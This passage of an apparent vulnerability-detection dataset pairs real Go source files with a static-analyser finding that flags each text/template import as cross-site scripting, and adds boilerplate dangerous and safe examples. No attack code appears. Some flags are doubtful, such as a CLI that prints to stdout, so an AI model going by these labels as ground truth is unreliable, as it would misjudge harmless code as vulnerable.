strings.TrimPrefix(s, \"_\")\n\tstr = strings.ReplaceAll(str, \" \", \"_\")\n\tstr = strings.ToUpper(str)\n\treturn str\n}\n\nfunc QuoteSpace(s string) string {\n\tif strings.Contains(s, \" \") {\n\t\treturn fmt.Sprintf(`\"%s\"`, s)\n\t}\n\n\treturn s\n}\n\nvar FuncMap template.FuncMap = map[string]interface{}{\n\t\"export\": Export,\n\t\"quoteSpace\": QuoteSpace,\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "4607625954e93714bdad02660d4068fdc5e94b49b319b38cf30534adc2495317", "license": {"spdx": ["BSD-2-Clause-FreeBSD"], "repo": "juztin/dingo", "path": "views/view.go", "repo_head_hexsha": "a9c22ba6ee446ebcd63738ef744dcddcf4b5bdf0", "stack_hexsha": "b1612284c900bcef42a0d619660fb82a7ab02d7e", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 13, "entireCode": "// Copyright 2013 . All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage views\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"reflect\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"code.minty.io/dingo\"\n)\n\nvar (\n\tviewCol = make(map[string]View)\n)\n\n// View wraps a template and provides CRUD operations, and nesting of templates.\ntype View interface {\n\tName() string\n\tAssociate(names ...string) error\n\tAssociations() []View\n\tExtends(name string) error\n\tExtensions() []View\n\tData(ctx dingo.Context) []byte\n\tReload(ctx dingo.Context) error\n\tSave(ctx dingo.Context, data []byte) error\n\tExecute(ctx dingo.Context, data interface{}) error\n}\n\n// Add adds a new view to the internal views collection.\nfunc Add(key string, v View) {\n\tviewCol[key] = v\n}\n\n// Get finds a view by it's key.\nfunc Get(key string) View {\n\tif v, ok := viewCol[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Execute invokes a view by key.\nfunc Execute(ctx dingo.Context, key string, data interface{}) {\n\tif v, ok := viewCol[key]; !ok {\n\t\tctx.HttpError(404)\n\t} else if err := v.Execute(ctx, data); err != nil {\n\t\t// TODO log this somewhere\n\t\tlog.Println(\"dingo: template execution error, \", err)\n\t\t/* This will cause a warning to be logged from `net/http/server.go`.\n\t\t * The headers have, most likely, been written to the stream. The error is\n\t\t * occuring midway through template processing, which is writing to the response stream.\n\t\t * Server.go logs this; if we don't call the error handler below, then the stream is cut-off\n\t\t * with no other warning to the client, with this they at-least get the 500 template.\n\t\t */\n\t\tctx.HttpError(500)\n\t}\n}\n\n// CoreView is the most base view, implementing basic functionality.\ntype CoreView struct {\n\tIsStale bool\n\tViewName string\n\tAssociated, Extended []string\n}\n\n// Name returns the views name.\nfunc (v *CoreView) Name() string {\n\treturn v.ViewName\n}\n\n// Associate relates the given view names with this view.\nfunc (v *CoreView) Associate(names ...string) error {\n\tfor _, n := range names {\n\t\tif view := Get(n); view != nil {\n\t\t\tv.Associated = append(v.Associated, view.Name())\n\t\t}\n\t}\n\n\t// TODO return an error\n\treturn nil\n}\n\n// Associations returns this views associated views.\nfunc (v *CoreView) Associations() (views []View) {\n\tfor _, n := range v.Associated {\n\t\tviews = append(views, Get(n))\n\t}\n\treturn\n}\n\n// Extend creates a parent/child relationship with the given view name.\nfunc (v *CoreView) Extends(name string) error {\n\tif view := Get(name); view != nil {\n\t\tv.IsStale = true\n\t\tv.Extended = append(v.Extended, view.Name())\n\t\tview.Associate(v.Name())\n\t}\n\n\t// TODO return an error\n\treturn nil\n}\n\n// Extensions returns the list of extended views.\nfunc (v *CoreView) Extensions() (views []View) {\n\tfor _, n := range v.Extended {\n\t\tviews = append(views, Get(n))\n\t}\n\treturn\n}\n\n/*----------------------------Common Templ Helpers----------------------------*/\nfunc equals(x, y interface{}) bool {\n\treturn x == y\n}\nfunc empty(o interface{}) bool {\n\tswitch t := reflect.ValueOf(o); t.Kind() {\n\tcase reflect.Array, reflect.Slice, reflect.Map:\n\t\treturn t.Len() == 0\n\tcase reflect.String:\n\t\treturn t.String() == \"\"\n\t}\n\treturn true\n}\n\nvar commonFuncs = template.FuncMap{\n\t\"equals\": equals,\n\t\"join\": strings.Join,\n\t\"empty\": empty,\n}\n\n// NewTmpl returns a new template\nfunc NewTmpl(name string) *template.Template {\n\treturn template.New(name).Funcs(commonFuncs)\n}\n\n// AddTmplFunc adds a function to the templates functions.\nfunc AddTmplFunc(name string, fn interface{}) {\n\tcommonFuncs[name] = fn\n}\n\n/*------------------Base Template, base on `text/template`--------------------*/\n\n// TemplateData is a func that returns data for a given template used during rendering.\ntype TemplateData func(ctx dingo.Context, name string) (*template.Template, []byte, error)\n\n// Base template, extends core template.\ntype TemplateView struct {\n\tCoreView\n\tTmpl *template.Template\n\tTmplData TemplateData\n\tBytes []byte\n}\n\n// Init initializes the template\nfunc (v *TemplateView) Init(name string, dataFunc TemplateData) {\n\tv.ViewName = name\n\tv.Tmpl, _ = NewTmpl(name).Parse(EmptyTmpl)\n\tv.TmplData = dataFunc\n\tv.IsStale = true\n}\n\n// Data returns the templates raw data, used for both rendering and editing.\nfunc (v *TemplateView) Data(ctx dingo.Context) []byte {\n\tif v.IsStale {\n\t\tt, b, e := v.TmplData(ctx, v.ViewName)\n\t\tif e != nil {\n\t\t\tlog.Println(e.Error())\n\t\t\treturn []byte(e.Error())\n\t\t}\n\t\tv.Tmpl, v.Bytes = t, b\n\t}\n\treturn v.Bytes\n}\nfunc reload(ctx dingo.Context, t *template.Template, v []View) error {\n\tfor _, view := range v {\n\t\tif err := reload(ctx, t, view.Extensions()); err != nil {\n\t\t\treturn err\n\t\t} else if t, err = t.Parse(string(view.Data(ctx))); err != nil {\n\t\t\tlog.Printf(\"Failed to parse extension: (%s)\\n%s\\n\", view.Name(), err)\n\t\t}\n\t}\n\treturn nil\n}\n\n// Reload reloads the template.\nfunc (v *TemplateView) Reload(ctx dingo.Context) error {\n\tt, b, e := v.TmplData(ctx, v.ViewName)\n\tif e != nil {\n\t\tlog.Println(e)\n\t\treturn e\n\t}\n\n\tvar view View\n\t// reload/re-parse all extensions\n\treload(ctx, t, v.Extensions())\n\tv.Tmpl, v.Bytes = t, b\n\n\t// notify all associated templates\n\tfor _, n := range v.Associated {\n\t\tif view = Get(n); view == nil {\n\t\t\treturn errors.New(fmt.Sprintf(\"View doesn't exist: %s\\n\", n))\n\t\t}\n\t\tview.Reload(ctx)\n\t}\n\tv.IsStale = false\n\n\treturn nil\n}\n\n// Execute writes the template to the response using the given data.\nfunc (v *TemplateView) Execute(ctx dingo.Context, data interface{}) error {\n\tif v.IsStale {\n\t\tv.Reload(ctx)\n\t}\n\n\tif v.Tmpl == nil {\n\t\treturn errors.New(\"Template is `nil`\")\n\t}\n\n\treturn v.Tmpl.Execute(ctx.Response, data)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "e39120e04a7f53f28ea796ad39175b6b07316c3296b1b4b600a6459c3b2af4ea", "license": {"spdx": ["Apache-2.0"], "repo": "heluocs/gpu-monitoring-tools", "path": "bindings/go/samples/dcgm/processInfo/main.go", "repo_head_hexsha": "f476d8a022cf2cc87fcb51c8a7cf209e30955dbb", "stack_hexsha": "44fd8304c977739c6b3584808925e341242fbeb4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\t\"os\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"github.com/NVIDIA/gpu-monitoring-tools/bindings/go/dcgm\"\n)\n\nconst (\n\tprocessInfo = `----------------------------------------------------------------------\nGPU ID\t\t\t : {{.GPU}}\n----------Execution Stats---------------------------------------------\nPID : {{.PID}}\nName : {{or .Name \"N/A\"}}\nStart Time : {{.ProcessUtilization.StartTime.String}}\nEnd Time : {{.ProcessUtilization.EndTime.String}}\n----------Performance Stats-------------------------------------------\nEnergy Consumed (Joules) : {{or .ProcessUtilization.EnergyConsumed \"N/A\"}}\nMax GPU Memory Used (bytes) : {{or .Memory.GlobalUsed \"N/A\"}}\nAvg SM Clock (MHz) : {{or .Clocks.Cores \"N/A\"}}\nAvg Memory Clock (MHz) : {{or .Clocks.Memory \"N/A\"}}\nAvg SM Utilization (%) : {{or .GpuUtilization.Memory \"N/A\"}}\nAvg Memory Utilization (%) : {{or .GpuUtilization.GPU \"N/A\"}}\nAvg PCIe Rx Bandwidth (MB) : {{or .PCI.Throughput.Rx \"N/A\"}}\nAvg PCIe Tx Bandwidth (MB) : {{or .PCI.Throughput.Tx \"N/A\"}}\n----------Event Stats-------------------------------------------------\nSingle Bit ECC Errors : {{or .Memory.ECCErrors.SingleBit \"N/A\"}}\nDouble Bit ECC Errors : {{or .Memory.ECCErrors.DoubleBit \"N/A\"}}\nCritical XID Errors : {{.XIDErrors.NumErrors}}\n----------Slowdown Stats----------------------------------------------\nDue to - Power (%) : {{or .Violations.Power \"N/A\"}}\n - Thermal (%) : {{or .Violations.Thermal \"N/A\"}}\n - Reliability (%) : {{or .Violations.Reliability \"N/A\"}}\n - Board Limit (%) : {{or .Violations.BoardLimit \"N/A\"}}\n - Low Utilization (%) : {{or .Violations.LowUtilization \"N/A\"}}\n - Sync Boost (%) : {{or .Violations.SyncBoost \"N/A\"}}\n----------Process Utilization-----------------------------------------\nAvg SM Utilization (%) : {{or .ProcessUtilization.SmUtil \"N/A\"}}\nAvg Memory Utilization (%) : {{or .ProcessUtilization.MemUtil \"N/A\"}}\n----------------------------------------------------------------------\n`\n)\n\nvar process = flag.Uint(\"pid\", 0, \"Provide pid to get this process information.\")\n\n// run as root, for enabling health watches\n// dcgmi stats -e\n// dcgmi stats --pid ENTERPID -v\n// sample: sudo ./processInfo -pid PID\nfunc main() {\n\tcleanup, err := dcgm.Init(dcgm.Embedded)\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\tdefer cleanup()\n\n\t// Request DCGM to start recording stats for GPU process fields\n\tgroup, err := dcgm.WatchPidFields()\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\n\t// Before retrieving process stats, wait few seconds for watches to be enabled and collect data\n\tlog.Println(\"Enabling DCGM watches to start collecting process stats. This may take a few seconds....\")\n\ttime.Sleep(3000 * time.Millisecond)\n\n\tflag.Parse()\n\tpidInfo, err := dcgm.GetProcessInfo(group, *process)\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\n\tt := template.Must(template.New(\"Process\").Parse(processInfo))\n\tfor _, gpu := range pidInfo {\n\n\t\tif err = t.Execute(os.Stdout, gpu); err != nil {\n\t\t\tlog.Panicln(\"Template error:\", err)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "ce88467f07feafdc4e769dc6fd4bed75e60c6acc78f39804b418e123e4462532", "license": {"spdx": ["MIT"], "repo": "devak23/go", "path": "src/go-blueprints/chat/main.go", "repo_head_hexsha": "19023b6a412c97824362e8a600062f7869f32fb5", "stack_hexsha": "9c0a82b814b95de59fd29f77de62c0edce76b07a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package main\n\nimport (\n \"log\"\n \"net/http\"\n \"sync\"\n \"text/template\"\n \"path/filepath\"\n \"flag\"\n)\n\ntype templateHandler struct {\n once sync.Once\n filename string\n tmpl *template.Template\n}\n\n// This is the Template Loader function\nfunc (t *templateHandler) ServeHTTP(res http.ResponseWriter, req *http.Request) {\n // DO this just once... (this is a singleton). sync.Once guarantees whatever function we pass it\n // will be invoked just once regardless of how many goroutines are calling the function\n t.once.Do(func() {\n tmplFilePath := filepath.Join(\"template\", t.filename) // create the file path\n t.tmpl = template.Must(template.ParseFiles(tmplFilePath)) // parse and load the template\n })\n // compiling the template in the ServeHTTP method also ensures that our code does the work\n // only when its actually needed and not before it\n t.tmpl.Execute(res, req)\n}\n\nfunc main() {\n var addr = flag.String(\"addr\", \":8080\",\"The address of the application\")\n flag.Parse()\n\n r := newRoom()\n http.Handle(\"/\", &templateHandler{filename:\"chat.html\"})\n http.Handle(\"/room\", r)\n\n // get the room going\n go r.run()\n\n // start the web server\n log.Println(\"Starting web server on\", *addr)\n if err := http.ListenAndServe(*addr,nil); err != nil {\n log.Fatal(\"ListenAndServe: \", err)\n }\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "5000b8656c6748fd25fc24b862564344ce5517f994eb8584a3c56d757c008fc9", "license": {"spdx": ["Apache-2.0"], "repo": "ueisele/go-docker-utils", "path": "pkg/template/functions.go", "repo_head_hexsha": "8dc7a4814922481d86c91c2fc38a6b244f2d37c2", "stack_hexsha": "bc2249f4be41834703726a2a8dea958b4a5231aa", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 12, "entireCode": "package template\n\nimport (\n\t\"os\"\n\t\"fmt\"\n\t\"bytes\"\n\t\"strings\"\n\t\"regexp\"\n\t\"reflect\"\n\t\"net\"\n\t\"inet.af/netaddr\"\n\t\"text/template\"\n\t\"github.com/Masterminds/sprig\"\n\t\"encoding/json\"\n\t\"gopkg.in/yaml.v3\"\n\t\"github.com/BurntSushi/toml\"\n\t\"github.com/magiconair/properties\"\n)\n\nfunc funcMap() template.FuncMap {\n\tf := sprig.TxtFuncMap()\n\n\t// Add some extra functionality\n\textra := template.FuncMap{\n\t\t\"heygodub\": func() string { return \"Hello :)\" },\n\n\t\t// Env functions\n\t\t\"hasEnv\":\t\t\t\thasEnv,\n\t\t\"envToMap\":\t\t \t\tenvToMap,\n\t\t\"envToProp\":\t\t\tenvToProp,\n\t\n\t\t// Map functions\n\t\t\"excludeKeys\":\t\t\texcludeKeys,\n\t\t\"replaceKeyPrefix\":\t\treplaceKeyPrefix,\n\t\t\"toPropertiesKey\":\t\ttoPropertiesKey,\n\t\n\t\t// String functions\n\t\t\"kvCsvToMap\":\t\t\tkvCsvToMap,\n\t\n\t\t// List functions\n\t\t\"filterHasPrefix\":\t\tfilterHasPrefix,\n\t\n\t\t// Verify functions\n\t\t\"required\":\t\t\t\trequired,\n\t\n\t\t// Network functions\n\t\t\"ipAddresses\":\t\t\tipAddresses,\n\t\t\"ipAddress\":\t\t\tipAddress,\n\t\t\"anyIpAddress\":\t\t\tanyIpAddress,\n\n\t\t// Format functions\n\t\t\"toYAML\":\t\t\t\ttoYAML,\n\t\t\"toJSON\":\t\t\t\ttoJSON,\n\t\t\"toTOML\":\t\t\t\ttoTOML,\n\t\t\"toProperties\":\t\t\ttoProperties,\n\n\t\t\"fromProperties\":\t\tfromProperties,\n\t}\n\n\tfor k, v := range extra {\n\t\tf[k] = v\n\t}\n\n\treturn f\n}\n\n// checks if an environment variable with the given key exists\nfunc hasEnv(key string) bool {\n\t_, has := os.LookupEnv(key)\n\treturn has\n}\n\n// custom function that returns key/value for all environment variable keys matching prefix\nfunc envToMap(prefix string) map[string]string {\n\tenv := make(map[string]string)\n\tfor _, setting := range os.Environ() {\n\t\tpair := strings.SplitN(setting, \"=\", 2)\n\t\tif strings.HasPrefix(pair[0], prefix) {\n\t\t\tenv[pair[0]] = pair[1]\n\t\t}\n\t}\n\treturn env\n}\n\n// Converts environment variables with a prefix into key/value properties\n// in order to support wildcard handling of properties. Naming convention\n// is to convert env vars to lower case and replace '_' with '.'.\n// Additionally, two underscores '__' are replaced with a single underscore '_'\n// and three underscores '___' are replaced with a dash '-'.\n//\n// For example: if these are set in the environment\n// CONTROL_CENTER_STREAMS_NUM_STREAM_THREADS=4\n// CONTROL_CENTER_STREAMS_SECURITY_PROTOCOL=SASL_SSL\n// CONTROL_CENTER_STREAMS_WITH__UNDERSCORE=foo\n// CONTROL_CENTER_STREAMS_WITH___DASH=bar\n// CONTROL_CENTER_STREAMS_SASL_KERBEROS_SERVICE_NAME=kafka\n//\n// then\n// env_to_props('CONTROL_CENTER_STREAMS_', 'confluent.controlcenter.streams.', exclude=['CONTROL_CENTER_STREAMS_NUM_STREAM_THREADS'])\n// will produce\n// \t{\n// \t\t'confluent.controlcenter.streams.security.protocol': 'SASL_SSL',\n// \t\t'confluent.controlcenter.streams.with_underscore': 'foo',\n// \t\t'confluent.controlcenter.streams.with_dash': 'bar',\n// \t\t'confluent.controlcenter.streams.sasl.kerberos.service.name': 'kafka'\n// \t}\n//\n// Args:\n// env_prefix: prefix of environment variables to include. (e.g. CONTROL_CENTER_STREAMS_)\n// prop_prefix: prefix of the resulting properties (e.g. confluent.controlcenter.streams.)\n// exclude: list of environment variables to exclude\n//\n// Returns:\n// Map of matching properties.\n//\n// See:\n// Original dub: https://github.com/confluentinc/confluent-docker-utils/blob/master/confluent/docker_utils/dub.py\nfunc envToProp(env_prefix string, prop_prefix string, exclude ...interface{}) map[string]string {\n\treturn toPropertiesKey(replaceKeyPrefix(env_prefix, prop_prefix, excludeKeys(exclude, envToMap(env_prefix))))\n}\n\nfunc excludeKeys(exclude interface{}, sourceMap map[string]string) map[string]string {\n\tresultMap := make(map[string]string)\n\texcludeStrings := toFlatListOfStrings(exclude)\n\tfor key, value := range sourceMap {\n\t\tif !contains(excludeStrings, key) {\n\t\t\tresultMap[key] = value\n\t\t}\n\t}\n\treturn resultMap\n}\n\nfunc replaceKeyPrefix(prefix string, replacement string, sourceMap map[string]string) map[string]string {\n\tresultMap := make(map[string]string)\n\tfor key, value := range sourceMap {\n\t\tresultMap[replacement + strings.TrimPrefix(key, prefix)] = value\n\t}\n\treturn resultMap\n}\n\nfunc toPropertiesKey(sourceMap map[string]string) map[string]string {\n\tprops := make(map[string]string)\n\tto_dot_pattern := regexp.MustCompile(\"[^_](_)[^_]\")\n\tfor key, value := range sourceMap {\n\t\traw_name := strings.ToLower(key)\n\t\tvar prop_dot string = raw_name\n\t\tfor matches := to_dot_pattern.FindAllString(prop_dot, -1); \n\t\t\tlen(matches) > 0; \n\t\t\tmatches = to_dot_pattern.FindAllString(prop_dot, -1) {\n\t\t\tfor _, frac := range matches {\n\t\t\t\tprop_dot = strings.Replace(prop_dot, frac, strings.ReplaceAll(frac, \"_\", \".\"), 1)\n\t\t\t}\n\t\t}\n\t\tprop_dash := strings.Join(strings.Split(prop_dot, \"___\"), \"-\")\n\t\tprop_underscore := strings.Join(strings.Split(prop_dash, \"__\"), \"_\")\n\t\tprops[prop_underscore] = value\n\t}\n\treturn props\n}\n\n// Parses a list of key/value pairs separated by commas.\n//\n// For example for \"foo.bar=DEBUG,baz.bam=TRACE\"\n// the this function will return {\"foo.bar: \"DEBUG\", \"baz.bam\": \"TRACE\"}\n//\n// Args:\n// kvList: String containing the comma separated list of key/value pairs.\n//\n// Returns:\n// Map of key/value pairs.\n//\n// See:\n// Original dub: https://github.com/confluentinc/confluent-docker-utils/blob/master/confluent/docker_utils/dub.py\nfunc kvCsvToMap(kvList string) map[string]interface{} {\n\tprops := make(map[string]interface{})\n\tfor _, override := range strings.Split(kvList, \",\") {\n\t\ttokens := strings.SplitN(override, \"=\", 2)\n\t\tif len(tokens) == 2 {\n\t\t\tprops[tokens[0]] = tokens[1]\n\t\t}\n\t}\n\treturn props\n}\n\nfunc filterHasPrefix(prefix string, list interface{}) (interface{}, error) {\n\ttp := reflect.TypeOf(list).Kind()\n\tswitch tp {\n\tcase reflect.Slice, reflect.Array:\n\t\tfilteredList := make([]interface{}, 0)\n\n\t\tl2 := reflect.ValueOf(list)\n\n\t\tif l2.Len() == 0 {\n\t\t\treturn filteredList, nil\n\t\t}\n\n\t\tfor i := 0; i < l2.Len(); i++ {\n\t\t\tresult, err := filterHasPrefix(prefix, l2.Index(i).Interface())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif result != nil {\n\t\t\t\tfilteredList = append(filteredList, result)\n\t\t\t}\n\t\t}\n\n\t\treturn filteredList, nil\n\tdefault:\n\t\tswitch t := list.(type) {\n\t\tcase string:\n\t\t\tif strings.HasPrefix(t, prefix) {\n\t\t\t\treturn t, nil\n\t\t\t}\n\t\t\treturn nil, nil\n\t\tcase fmt.Stringer:\n\t\t\tif strings.HasPrefix(t.String(), prefix) {\n\t\t\t\treturn t, nil\n\t\t\t}\n\t\t\treturn nil, nil\n\t\tcase nil:\n\t\t\treturn nil, nil\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"should be type of slice, array, string or fmt.Stringer but %s\", tp)\n\t\t}\n\t}\n}\n\n// contains checks if a string is present in a slice\nfunc contains(s []string, str string) bool {\n\tfor _, v := range s {\n\t\tif v == str {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc toFlatListOfStrings(args ...interface{}) []string {\n\tstringList := make([]string, 00)\n\tfor _, arg := range args {\n\t\tswitch reflect.TypeOf(arg).Kind() {\n\t\tcase reflect.Slice, reflect.Array:\n\t\t\tvalue := reflect.ValueOf(arg)\n\t\t\tfor i := 0; i < value.Len(); i++ {\n\t\t\t\tstringList = append(stringList, toFlatListOfStrings(value.Index(i).Interface())...)\n\t\t\t}\n\t\tdefault:\n\t\t\tswitch t := arg.(type) {\n\t\t\tcase string:\n\t\t\t\tstringList = append(stringList, t)\n\t\t\tcase fmt.Stringer:\n\t\t\t\tstringList = append(stringList, t.String())\n\t\t\tdefault:\n\t\t\t\tstringList = append(stringList, fmt.Sprintf(\"%v\", t))\n\t\t }\n\t\t}\n\t}\n\treturn stringList\n}\n\nfunc required(warn string, val interface{}) (interface{}, error) {\n\tif val == nil || reflect.ValueOf(val).IsNil() {\n\t\treturn nil, fmt.Errorf(warn)\n\t} else if _, ok := val.(string); ok {\n\t\tif val == \"\" || val == \"\" {\n\t\t\treturn nil, fmt.Errorf(warn)\n\t\t}\n\t}\n\treturn val, nil\n}\n\nconst (\n\trequire string = \"require\"\n\tprefer string = \"prefer\"\n)\n\nconst (\n\tipv4 string = \"ipv4\"\n\tipv6 string = \"ipv6\"\n)\n\nfunc anyIpAddress() (*netaddr.IP, error) {\n\treturn ipAddress(prefer, ipv4, 0)\n}\n\nfunc ipAddress(preference string, ipVersion string, iface int) (*netaddr.IP, error) {\n\taddresses, err := ipAddresses(preference, ipVersion)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif (len(addresses) <= iface) {\n\t\treturn nil, fmt.Errorf(\"less than %d interfaces are available with a global unicast address matching '%s %s'\", iface + 1, preference, ipVersion)\n\t}\n\treturn addresses[iface], nil\n}\n\nfunc ipAddresses(preference string, ipVersion string) ([]*netaddr.IP, error) {\n\tif preference != require && preference != prefer {\n\t\treturn nil, fmt.Errorf(\"preference argument must be one of [%s, %s], but was: %s\", require, prefer, preference)\n\t}\n\tif ipVersion != ipv4 && ipVersion != ipv6 {\n\t\treturn nil, fmt.Errorf(\"IP version argument must be one of [%s, %s], but was: %s\", ipv4, ipv6, ipVersion)\n\t}\n\n\taddresses := make([]*netaddr.IP, 0)\n\n\tifaces, err := net.Interfaces()\n\tif err != nil { return nil, err }\n\n\tfor _, iface := range ifaces {\n\t\taddrs, err := iface.Addrs()\n\t\tif err != nil { return nil, err }\n\t\t\n\t\tvar foundIfaceAddr *netaddr.IP\n\t\tfor _, addr := range addrs {\n\t\t\tvar ip net.IP\n\t\t\tswitch v := addr.(type) {\n\t\t\tcase *net.IPNet:\n\t\t\t\t\tip = v.IP\n\t\t\tcase *net.IPAddr:\n\t\t\t\t\tip = v.IP\n\t\t\t}\n\t\t\tif ip.IsGlobalUnicast() {\n\t\t\t\tnIp, _ := netaddr.FromStdIP(ip)\n\t\t\t\tif foundIfaceAddr == nil || ipAddrVersion(*foundIfaceAddr) != ipVersion {\n\t\t\t\t\tfoundIfaceAddr = &nIp\n\t\t\t\t}\n\t\t\t\tif ipAddrVersion(*foundIfaceAddr) == ipVersion {\n\t\t\t\t\tbreak\n\t\t\t\t}\t\t\n\t\t\t}\n\t\t}\n\t\tif foundIfaceAddr != nil && (preference == prefer || ipAddrVersion(*foundIfaceAddr) == ipVersion) {\n\t\t\taddresses = append(addresses, foundIfaceAddr)\n\t\t}\n\t}\n\treturn addresses, nil\n}\n\nfunc ipAddrVersion(ip netaddr.IP) string {\n\tif ip.Is4() {\n\t\treturn ipv4\n\t}\n\treturn ipv6\n}\n\n// toYAML takes an interface, marshals it to yaml, and returns a string.\nfunc toYAML(v interface{}) (string, error) {\n\tdata, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn strings.TrimSuffix(string(data), \"\\n\"), nil\n}\n\n// toJSON takes an interface, marshals it to json, and returns a string.\nfunc toJSON(v interface{}) (string, error) {\n\tdata, err := json.Marshal(v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(data), nil\n}\n\n// toTOML takes an interface, marshals it to toml, and returns a string.\nfunc toTOML(v interface{}) (string, error) {\n\tb := bytes.NewBuffer(nil)\n\te := toml.NewEncoder(b)\n\terr := e.Encode(v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn b.String(), nil\n}\n\n// toProperties takes an interface, marshals it to properties, and returns a string.\nfunc toProperties(v interface{}) (string, error) {\n\tprops := properties.NewProperties()\n\terr := props.Decode(v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn props.String(), nil\n}\n\nfunc fromProperties(v interface{}) (map[string]string, error) {\n\tprops := properties.NewProperties()\n\terr := props.Decode(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn props.Map(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "bf857a7a5556f1d774fefb27b6cb71214ccf2f16275c555d66e00857c3cb4ddc", "license": {"spdx": ["MIT"], "repo": "applicaset/message-sender-output", "path": "message_sender_output.go", "repo_head_hexsha": "dd184698a2d2cd3d3386571f0f1fad30e90d1de3", "stack_hexsha": "31deba9079bcd8ef18d7bf583b9dc826ff541bde", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 9, "entireCode": "package 